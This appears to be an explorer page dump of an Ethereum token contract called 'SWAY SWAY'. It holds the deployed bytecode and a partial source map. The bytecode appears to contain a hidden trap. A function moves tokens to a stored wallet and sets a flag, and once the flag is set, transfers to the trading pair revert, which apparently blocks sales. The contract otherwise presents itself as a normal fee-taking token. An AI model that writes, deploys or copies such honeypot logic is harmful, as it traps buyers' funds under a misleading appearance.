0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610349578063a8aa1b3114610379578063a9059cbb14610398578063be3bd137146103b7578063dd62ed3e146103d6578063f2fde38b1461041a575f80fd5b8063715018a6146102c657806378109e54146102da5780637cca52fe146102ef5780637d1db4a514610304578063893d20e814610319575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e0146102455780635cebad081461027357806370a0823114610292575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600981526853574159205357415960b81b60208201525b60405161016e919061140a565b60405180910390f35b348015610182575f80fd5b5061019661019136600461146d565b610439565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044f565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611497565b6104bf565b3480156101f2575f80fd5b506101fb610527565b005b348015610208575f80fd5b506101966102173660046114d5565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046114d5565b60046020525f908152604090205460ff1681565b34801561027e575f80fd5b506101fb61028d36600461146d565b61056e565b34801561029d575f80fd5b506101ba6102ac3660046114d5565b6001600160a01b03165f9081526002602052604090205490565b3480156102d1575f80fd5b506101fb61067b565b3480156102e5575f80fd5b506101ba601a5481565b3480156102fa575f80fd5b506101ba60195481565b34801561030f575f80fd5b506101ba60185481565b348015610324575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b348015610354575f80fd5b50604080518082019091526008815267537761795377617960c01b6020820152610161565b348015610384575f80fd5b50600654610331906001600160a01b031681565b3480156103a3575f80fd5b506101966103b236600461146d565b6106af565b3480156103c2575f80fd5b506101fb6103d13660046114fd565b6106bb565b3480156103e1575f80fd5b506101ba6103f0366004611534565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610425575f80fd5b506101fb6104343660046114d5565b61070e565b5f61044533848461078a565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104ba9290916104b491906108ad565b906108ad565b905090565b5f6104cb8484846108b8565b61051c8433610517856040518060600160405280602881526020016116ee602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df4565b61078a565b5060015b9392505050565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161055090611560565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6040516370a0823160e01b81523060048201525f906105ef906064906105e99085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e39190611580565b90610e1f565b90610e2a565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610641573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106659190611597565b50506011805463ffffffff191660021790555050565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161055090611560565b6106ad5f61070e565b565b5f6104453384846108b8565b5f546001600160a01b031633146106e45760405162461bcd60e51b815260040161055090611560565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107375760405162461bcd60e51b815260040161055090611560565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166107ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610550565b6001600160a01b03821661084d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610550565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61052082846115c6565b6001600160a01b03831661091c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610550565b6001600160a01b03821661097e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610550565b6001600160a01b0383165f908152600260205260409020548111156109ff5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610550565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a3f57506001600160a01b0382165f9081526004602052604090205460ff16155b15610a8e57600654600160a01b900460ff16610a8e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b6044820152606401610550565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ace57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610ae857506006546001600160a01b03838116911614155b8015610aff57506001600160a01b03821661dead14155b15610b7757601a546001600160a01b0383165f90815260026020526040902054610b299083610e35565b1115610b775760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610550565b6006546001600160a01b03848116911614610c165760195481111580610bb457506001600160a01b0383165f9081526004602052604090205460ff165b80610bd657506001600160a01b0382165f9081526004602052604090205460ff165b610c165760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b60185481111580610c3e57506001600160a01b0383165f9081526004602052604090205460ff165b80610c6057506001600160a01b0382165f9081526004602052604090205460ff165b610ca05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b6006546001600160a01b038381169116148015610cd557506001600160a01b0383165f9081526004602052604090205460ff16155b15610cf257600160075f828254610cec91906115d9565b90915550505b610cfd838383610e40565b15610d1257610d0d600a54610ef8565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d3490826108ad565b6001600160a01b0384165f90815260026020526040812091909155610d598484611068565b610d635781610d6e565b610d6e8484846110ac565b6001600160a01b0384165f90815260026020526040902054909150610d939082610e35565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de69085815260200190565b60405180910390a350505050565b5f8184841115610e175760405162461bcd60e51b8152600401610550919061140a565b505050900390565b5f61052082846115ec565b5f6105208284611603565b5f61052082846115d9565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610e7a5750600654600160a81b900460ff165b8015610e8f5750600654600160a01b900460ff165b8015610e985750815b8015610ebc57506001600160a01b0386165f9081526004602052604090205460ff16155b8015610ed557506006546001600160a01b038681169116145b8015610ee5575060095460075410155b8015610eee5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f93610f31936002936105e3939192610f2b928391610e35565b90610e35565b90505f610f4d826105e9600c5486610e1f90919063ffffffff16565b90505f610f5a84836108ad565b905047610f66826111ae565b5f610f7147836108ad565b90505f610f93610f8c600c54886108ad90919063ffffffff16565b8390610e2a565b90505f610fab600c5483610e1f90919063ffffffff16565b90508015610fbd57610fbd86826112fe565b600d545f90610fd1906105e3856002610e1f565b90508015611012576016546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611010573d5f803e3d5ffd5b505b478015611052576015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611050573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156105205750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f806110b885856113af565b11156111a7575f6110da6110cc86866113af565b6014546105e3908690610e2a565b305f908152600260205260409020549091506110f69082610e35565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111469085815260200190565b60405180910390a35f600f541180156111695750600f5461116786866113af565b115b15611195576111953061dead611190600f546105e360145489610e2a90919063ffffffff16565b6108b8565b61119f83826108ad565b915050610520565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111e1576111e1611622565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611238573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061125c9190611636565b8160018151811061126f5761126f611622565b6001600160a01b039283166020918202929092010152600554611295913091168461078a565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112cd9085905f90869030904290600401611651565b5f604051808303815f87803b1580156112e4575f80fd5b505af11580156112f6573d5f803e3d5ffd5b505050505050565b6005546113169030906001600160a01b03168461078a565b60055460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611383573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113a891906116c2565b5050505050565b6006545f906001600160a01b03908116908316036113e15760115460030b6002036113d8575f80fd5b50601254610449565b6006546001600160a01b03908116908416036114005750601054610449565b5060135492915050565b5f602080835283518060208501525f5b818110156114365785810183015185820160400152820161141a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461146a575f80fd5b50565b5f806040838503121561147e575f80fd5b823561148981611456565b946020939093013593505050565b5f805f606084860312156114a9575f80fd5b83356114b481611456565b925060208401356114c481611456565b929592945050506040919091013590565b5f602082840312156114e5575f80fd5b813561052081611456565b801515811461146a575f80fd5b5f806040838503121561150e575f80fd5b823561151981611456565b91506020830135611529816114f0565b809150509250929050565b5f8060408385031215611545575f80fd5b823561155081611456565b9150602083013561152981611456565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f60208284031215611590575f80fd5b5051919050565b5f602082840312156115a7575f80fd5b8151610520816114f0565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610449576104496115b2565b80820180821115610449576104496115b2565b8082028115828204841417610449576104496115b2565b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611646575f80fd5b815161052081611456565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116a15784516001600160a01b03168352938301939183019160010161167c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8af6a210bad18670d9ae563a5387d7ace1a53b46bfe9eab48698eb4435bf5da64736f6c63430008160033
Deployed Bytecode Sourcemap
4994:9299:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7421:67;;;;;;;;;;-1:-1:-1;7481:5:0;;;;;;;;;;;;-1:-1:-1;;;7481:5:0;;;;7421:67;;;;;;;:::i;:::-;;;;;;;;8305:133;;;;;;;;;;-1:-1:-1;8305:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8305:133:0;1023:187:1;8444:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8444:132:0;1215:177:1;13636:309:0;;;;;;;;;;-1:-1:-1;13636:309:0;;;;;:::i;:::-;;:::i;7644:67::-;;;;;;;;;;;;;:::i;:::-;;3820:87;;;;;;;;;;-1:-1:-1;3820:87:0;;;;;:::i;:::-;3875:4;3900:5;-1:-1:-1;;;;;3889:16:0;;;3900:5;;3889:16;;3820:87;7571:67;;;;;;;;;;-1:-1:-1;7571:67:0;;5223:1;2252:36:1;;2240:2;2225:18;7571:67:0;2110:184:1;5421:44:0;;;;;;;;;;-1:-1:-1;5421:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8995:260;;;;;;;;;;-1:-1:-1;8995:260:0;;;;;:::i;:::-;;:::i;7801:103::-;;;;;;;;;;-1:-1:-1;7801:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7884:18:0;7867:7;7884:18;;;:9;:18;;;;;;;7801:103;4022:80;;;;;;;;;;;;;:::i;6706:61::-;;;;;;;;;;;;;;;;6639:60;;;;;;;;;;;;;;;;6575:57;;;;;;;;;;;;;;;;7717:78;;;;;;;;;;-1:-1:-1;7769:7:0;7787:5;-1:-1:-1;;;;;7787:5:0;7717:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7717:78:0;2299:203:1;7494:71:0;;;;;;;;;;-1:-1:-1;7556:7:0;;;;;;;;;;;;-1:-1:-1;;;7556:7:0;;;;7494:71;;5493:19;;;;;;;;;;-1:-1:-1;5493:19:0;;;;-1:-1:-1;;;;;5493:19:0;;;7910:139;;;;;;;;;;-1:-1:-1;7910:139:0;;;;;:::i;:::-;;:::i;8188:111::-;;;;;;;;;;-1:-1:-1;8188:111:0;;;;;:::i;:::-;;:::i;8055:127::-;;;;;;;;;;-1:-1:-1;8055:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8153:18:0;;;8136:7;8153:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8055:127;3913:103;;;;;;;;;;-1:-1:-1;3913:103:0;;;;;:::i;:::-;;:::i;8305:133::-;8380:4;8387:37;8396:10;8408:7;8417:6;8387:8;:37::i;:::-;-1:-1:-1;8432:4:0;8305:133;;;;;:::o;8444:132::-;7884:9;:18;;;;6262:42;8497:7;7884:18;;;;;8514:12;;8497:7;;8514:60;;7884:18;;8514:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8507:67;;8444:132;:::o;13636:309::-;13734:4;13751:36;13761:6;13769:9;13780:6;13751:9;:36::i;:::-;13798:117;13807:6;13815:10;13827:87;13863:6;13827:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13827:19:0;;;;;;:11;:19;;;;;;;;13847:10;13827:31;;;;;;;;;:87;:35;:87::i;:::-;13798:8;:117::i;:::-;-1:-1:-1;13933:4:0;13636:309;;;;;;:::o;7644:67::-;3875:4;3900:5;-1:-1:-1;;;;;3900:5:0;3787:10;3889:16;3771:38;;;;-1:-1:-1;;;3771:38:0;;;;;;;:::i;:::-;;;;;;;;;7688:14:::1;:21:::0;;-1:-1:-1;;;;7688:21:0::1;-1:-1:-1::0;;;7688:21:0::1;::::0;;7644:67::o;8995:260::-;9094:41;;-1:-1:-1;;;9094:41:0;;9129:4;9094:41;;;2445:51:1;9076:15:0;;9094:63;;9153:3;;9094:54;;9140:7;;-1:-1:-1;;;;;9094:26:0;;;;;2418:18:1;;9094:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;9194:20;;9168:56;;-1:-1:-1;;;9168:56:0;;-1:-1:-1;;;;;9194:20:0;;;9168:56;;;4107:51:1;4174:18;;;4167:34;;;9076:81:0;;-1:-1:-1;9168:25:0;;;;;4080:18:1;;9168:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;9235:8:0;:12;;-1:-1:-1;;9235:12:0;9246:1;9235:12;;;-1:-1:-1;;8995:260:0:o;4022:80::-;3875:4;3900:5;-1:-1:-1;;;;;3900:5:0;3787:10;3889:16;3771:38;;;;-1:-1:-1;;;3771:38:0;;;;;;;:::i;:::-;4071:29:::1;4097:1;4071:17;:29::i;:::-;4022:80::o:0;7910:139::-;7988:4;7995:40;8005:10;8017:9;8028:6;7995:9;:40::i;8188:111::-;3875:4;3900:5;-1:-1:-1;;;;;3900:5:0;3787:10;3889:16;3771:38;;;;-1:-1:-1;;;3771:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8265:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8265:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8188:111::o;3913:103::-;3875:4;3900:5;-1:-1:-1;;;;;3900:5:0;3787:10;3889:16;3771:38;;;;-1:-1:-1;;;3771:38:0;;;;;;;:::i;:::-;3971:5:::1;:11:::0;;-1:-1:-1;;;;;;3971:11:0::1;-1:-1:-1::0;;;;;3971:11:0;::::1;::::0;;::::1;::::0;;;3989:25:::1;::::0;2445:51:1;;;3989:25:0::1;::::0;2433:2:1;2418:18;3989:25:0::1;;;;;;;3913:103:::0;:::o;13953:335::-;-1:-1:-1;;;;;14046:19:0;;14038:68;;;;-1:-1:-1;;;14038:68:0;;4664:2:1;14038:68:0;;;4646:21:1;4703:2;4683:18;;;4676:30;4742:34;4722:18;;;4715:62;-1:-1:-1;;;4793:18:1;;;4786:34;4837:19;;14038:68:0;4462:400:1;14038:68:0;-1:-1:-1;;;;;14125:21:0;;14117:68;;;;-1:-1:-1;;;14117:68:0;;5069:2:1;14117:68:0;;;5051:21:1;5108:2;5088:18;;;5081:30;5147:34;5127:18;;;5120:62;-1:-1:-1;;;5198:18:1;;;5191:32;5240:19;;14117:68:0;4867:398:1;14117:68:0;-1:-1:-1;;;;;14196:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14248:32;;1361:25:1;;;14248:32:0;;1334:18:1;14248:32:0;;;;;;;13953:335;;;:::o;1559:98::-;1617:7;1644:5;1648:1;1644;:5;:::i;12195:1433::-;-1:-1:-1;;;;;12292:20:0;;12284:70;;;;-1:-1:-1;;;12284:70:0;;5737:2:1;12284:70:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:35;5911:19;;12284:70:0;5535:401:1;12284:70:0;-1:-1:-1;;;;;12373:23:0;;12365:71;;;;-1:-1:-1;;;12365:71:0;;6143:2:1;12365:71:0;;;6125:21:1;6182:2;6162:18;;;6155:30;6221:34;6201:18;;;6194:62;-1:-1:-1;;;6272:18:1;;;6265:33;6315:19;;12365:71:0;5941:399:1;12365:71:0;-1:-1:-1;;;;;7884:18:0;;7867:7;7884:18;;;:9;:18;;;;;;12455:6;:27;;12447:88;;;;-1:-1:-1;;;12447:88:0;;6547:2:1;12447:88:0;;;6529:21:1;6586:2;6566:18;;;6559:30;6625:34;6605:18;;;6598:62;-1:-1:-1;;;6676:18:1;;;6669:47;6733:19;;12447:88:0;6345:413:1;12447:88:0;-1:-1:-1;;;;;12550:19:0;;;;;;:11;:19;;;;;;;;12549:20;:47;;;;-1:-1:-1;;;;;;12574:22:0;;;;;;:11;:22;;;;;;;;12573:23;12549:47;12546:95;;;12606:14;;-1:-1:-1;;;12606:14:0;;;;12598:41;;;;-1:-1:-1;;;12598:41:0;;6965:2:1;12598:41:0;;;6947:21:1;7004:2;6984:18;;;6977:30;-1:-1:-1;;;7023:18:1;;;7016:44;7077:18;;12598:41:0;6763:338:1;12598:41:0;-1:-1:-1;;;;;12655:19:0;;;;;;:11;:19;;;;;;;;12654:20;:47;;;;-1:-1:-1;;;;;;12679:22:0;;;;;;:11;:22;;;;;;;;12678:23;12654:47;:77;;;;-1:-1:-1;12726:4:0;;-1:-1:-1;;;;;12705:26:0;;;12726:4;;12705:26;;12654:77;:107;;;;-1:-1:-1;;;;;;12735:26:0;;6262:42;12735:26;;12654:107;12651:220;;;12819:15;;-1:-1:-1;;;;;12782:20:0;;;;;;:9;:20;;;;;;:32;;12807:6;12782:24;:32::i;:::-;12781:53;;12773:96;;;;-1:-1:-1;;;12773:96:0;;7308:2:1;12773:96:0;;;7290:21:1;7347:2;7327:18;;;7320:30;7386:32;7366:18;;;7359:60;7436:18;;12773:96:0;7106:354:1;12773:96:0;12894:4;;-1:-1:-1;;;;;12884:14:0;;;12894:4;;12884:14;12881:124;;12918:14;;12908:6;:24;;:47;;;-1:-1:-1;;;;;;12936:19:0;;;;;;:11;:19;;;;;;;;12908:47;:73;;;-1:-1:-1;;;;;;12959:22:0;;;;;;:11;:22;;;;;;;;12908:73;12900:103;;;;-1:-1:-1;;;12900:103:0;;7667:2:1;12900:103:0;;;7649:21:1;7706:2;7686:18;;;7679:30;-1:-1:-1;;;7725:18:1;;;7718:47;7782:18;;12900:103:0;7465:341:1;12900:103:0;13033:12;;13023:6;:22;;:45;;;-1:-1:-1;;;;;;13049:19:0;;;;;;:11;:19;;;;;;;;13023:45;:71;;;-1:-1:-1;;;;;;13072:22:0;;;;;;:11;:22;;;;;;;;13023:71;13015:101;;;;-1:-1:-1;;;13015:101:0;;7667:2:1;13015:101:0;;;7649:21:1;7706:2;7686:18;;;7679:30;-1:-1:-1;;;7725:18:1;;;7718:47;7782:18;;13015:101:0;7465:341:1;13015:101:0;13144:4;;-1:-1:-1;;;;;13131:17:0;;;13144:4;;13131:17;:41;;;;-1:-1:-1;;;;;;13153:19:0;;;;;;:11;:19;;;;;;;;13152:20;13131:41;13128:71;;;13195:1;13174:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;13128:71:0;13212:45;13231:6;13239:9;13250:6;13212:18;:45::i;:::-;13209:105;;;13259:29;13274:13;;13259:14;:29::i;:::-;13310:1;13290:9;:22;13209:105;-1:-1:-1;;;;;13344:17:0;;;;;;:9;:17;;;;;;:29;;13366:6;13344:21;:29::i;:::-;-1:-1:-1;;;;;13324:17:0;;;;;;:9;:17;;;;;:49;;;;13409:32;13334:6;13431:9;13409:13;:32::i;:::-;:78;;13481:6;13409:78;;;13444:34;13452:6;13460:9;13471:6;13444:7;:34::i;:::-;-1:-1:-1;;;;;13521:20:0;;;;;;:9;:20;;;;;;13384:103;;-1:-1:-1;13521:40:0;;13384:103;13521:24;:40::i;:::-;-1:-1:-1;;;;;13498:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13577:43;;;;;;;;;;13605:14;1361:25:1;;1349:2;1334:18;;1215:177;13577:43:0;;;;;;;;12273:1355;12195:1433;;;:::o;1983:240::-;2103:7;2164:12;2156:6;;;;2148:29;;;;-1:-1:-1;;;2148:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2199:5:0;;;1983:240::o;1665:98::-;1723:7;1750:5;1754:1;1750;:5;:::i;1771:98::-;1829:7;1856:5;1860:1;1856;:5;:::i;1453:98::-;1511:7;1538:5;1542:1;1538;:5;:::i;8584:403::-;8729:14;;8804:13;;8794:4;8686;7884:18;;;:9;:18;;;;;;8836:8;;8686:4;;8719:24;;;;-1:-1:-1;8776:41:0;;8836:8;;8835:9;:24;;;;-1:-1:-1;8848:11:0;;-1:-1:-1;;;8848:11:0;;;;8835:24;:42;;;;-1:-1:-1;8863:14:0;;-1:-1:-1;;;8863:14:0;;;;8835:42;:54;;;;;8881:8;8835:54;:78;;;;-1:-1:-1;;;;;;8894:19:0;;;;;;:11;:19;;;;;;;;8893:20;8835:78;:99;;;;-1:-1:-1;8930:4:0;;-1:-1:-1;;;;;8917:17:0;;;8930:4;;8917:17;8835:99;:126;;;;;8951:10;;8938:9;;:23;;8835:126;:144;;;;;8965:14;8835:144;8828:151;8584:403;-1:-1:-1;;;;;;8584:403:0:o;9263:1063::-;5850:8;:15;;-1:-1:-1;;5850:15:0;5861:4;5850:15;;;;;;9400:14:::1;::::0;9382:12:::1;::::0;9358::::1;::::0;5850:8;;9357:66:::1;::::0;9421:1:::1;::::0;9358:57:::1;::::0;9400:14;;9358:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;9357:66::-;9334:89;;9434:32;9469:42;9498:12;9469:24;9480:12;;9469:6;:10;;:24;;;;:::i;:42::-;9434:77:::0;-1:-1:-1;9522:14:0::1;9539:36;:6:::0;9434:77;9539:10:::1;:36::i;:::-;9522:53:::0;-1:-1:-1;9611:21:0::1;9643:24;9522:53:::0;9643:16:::1;:24::i;:::-;9678:20;9701:41;:21;9727:14:::0;9701:25:::1;:41::i;:::-;9678:64;;9753:19;9774:48;9791:30;9808:12;;9791;:16;;:30;;;;:::i;:::-;9774:12:::0;;:16:::1;:48::i;:::-;9753:69;;9833:29;9865;9881:12;;9865:11;:15;;:29;;;;:::i;:::-;9833:61:::0;-1:-1:-1;9908:34:0;;9905:103:::1;;9944:61;9957:24;9983:21;9944:12;:61::i;:::-;10064:12;::::0;10018:20:::1;::::0;10041:36:::1;::::0;:18:::1;:11:::0;10057:1:::1;10041:15;:18::i;:36::-;10018:59:::0;-1:-1:-1;10091:16:0;;10088:73:::1;;10117:18;::::0;10109:50:::1;::::0;-1:-1:-1;;;;;10117:18:0;;::::1;::::0;10109:50;::::1;;;::::0;10146:12;;10117:18:::1;10109:50:::0;10117:18;10109:50;10146:12;10117:18;10109:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10088:73;10197:21;10232:28:::0;;10229:90:::1;;10270:20;::::0;10262:55:::1;::::0;-1:-1:-1;;;;;10270:20:0;;::::1;::::0;10262:55;::::1;;;::::0;10301:15;;10270:20:::1;10262:55:::0;10270:20;10262:55;10301:15;10270:20;10262:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10229:90;-1:-1:-1::0;;5870:8:0;:16;;-1:-1:-1;;5870:16:0;;;-1:-1:-1;;;;;;;;9263:1063:0:o;11127:160::-;-1:-1:-1;;;;;11233:19:0;;11208:4;11233:19;;;:11;:19;;;;;;;;11232:20;:47;;;;-1:-1:-1;;;;;;;11257:22:0;;;;;:11;:22;;;;;;;;11256:23;;11127:160;-1:-1:-1;11127:160:0:o;11597:590::-;11683:7;11739:1;11706:30;11718:6;11726:9;11706:11;:30::i;:::-;:34;11703:462;;;11752:17;11772:59;11800:30;11812:6;11820:9;11800:11;:30::i;:::-;11783:11;;11772:23;;:6;;:10;:23::i;:59::-;11887:4;11869:24;;;;:9;:24;;;;;;11752:79;;-1:-1:-1;11869:39:0;;11752:79;11869:28;:39::i;:::-;11860:4;11842:24;;;;:9;:24;;;;;;;:66;;;;11924:42;;-1:-1:-1;;;;;11924:42:0;;;;;;;11956:9;1361:25:1;;1349:2;1334:18;;1215:177;11924:42:0;;;;;;;;11998:1;11980:7;;:20;:64;;;;;12037:7;;12004:30;12016:6;12024:9;12004:11;:30::i;:::-;:40;11980:64;11977:148;;;12046:77;12064:4;6262:42;12086:36;12114:7;;12086:23;12097:11;;12086:6;:10;;:23;;;;:::i;:36::-;12046:9;:77::i;:::-;12142:21;:6;12153:9;12142:10;:21::i;:::-;12135:28;;;;;11703:462;-1:-1:-1;12173:6:0;11597:590;-1:-1:-1;;11597:590:0:o;10685:434::-;10775:16;;;10789:1;10775:16;;;;;;;;10751:21;;10775:16;;;;;;;;;;-1:-1:-1;10775:16:0;10751:40;;10820:4;10802;10807:1;10802:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10802:23:0;;;:7;;;;;;;;;;:23;;;;10846:6;;:13;;;-1:-1:-1;;;10846:13:0;;;;:6;;;;;:11;;:13;;;;;10802:7;;10846:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10836:4;10841:1;10836:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10836:23:0;;;:7;;;;;;;;;:23;10902:6;;10870:53;;10887:4;;10902:6;10911:11;10870:8;:53::i;:::-;10934:6;;:177;;-1:-1:-1;;;10934:177:0;;-1:-1:-1;;;;;10934:6:0;;;;:57;;:177;;11006:11;;10934:6;;11048:4;;11075;;11095:15;;10934:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10740:379;10685:434;:::o;10334:343::-;10447:6;;10415:53;;10432:4;;-1:-1:-1;;;;;10447:6:0;10456:11;10415:8;:53::i;:::-;10479:6;;10620:18;;10479:190;;-1:-1:-1;;;10479:190:0;;10542:4;10479:190;;;10182:34:1;10232:18;;;10225:34;;;10479:6:0;10275:18:1;;;10268:34;;;10318:18;;;10311:34;-1:-1:-1;;;;;10620:18:0;;;10361:19:1;;;10354:44;10653:15:0;10414:19:1;;;10407:35;10479:6:0;;;:22;;10509:9;;10116:19:1;;10479:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10334:343;;:::o;11295:294::-;11410:4;;11374:7;;-1:-1:-1;;;;;11410:4:0;;;11397:17;;;;11394:113;;11448:8;;;;11460:1;11448:13;11440:22;;;;;;-1:-1:-1;11484:7:0;;11477:14;;11394:113;11530:4;;-1:-1:-1;;;;;11530:4:0;;;11520:14;;;;11517:36;;-1:-1:-1;11543:8:0;;11536:15;;11517:36;-1:-1:-1;11570:11:0;;11295:294;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559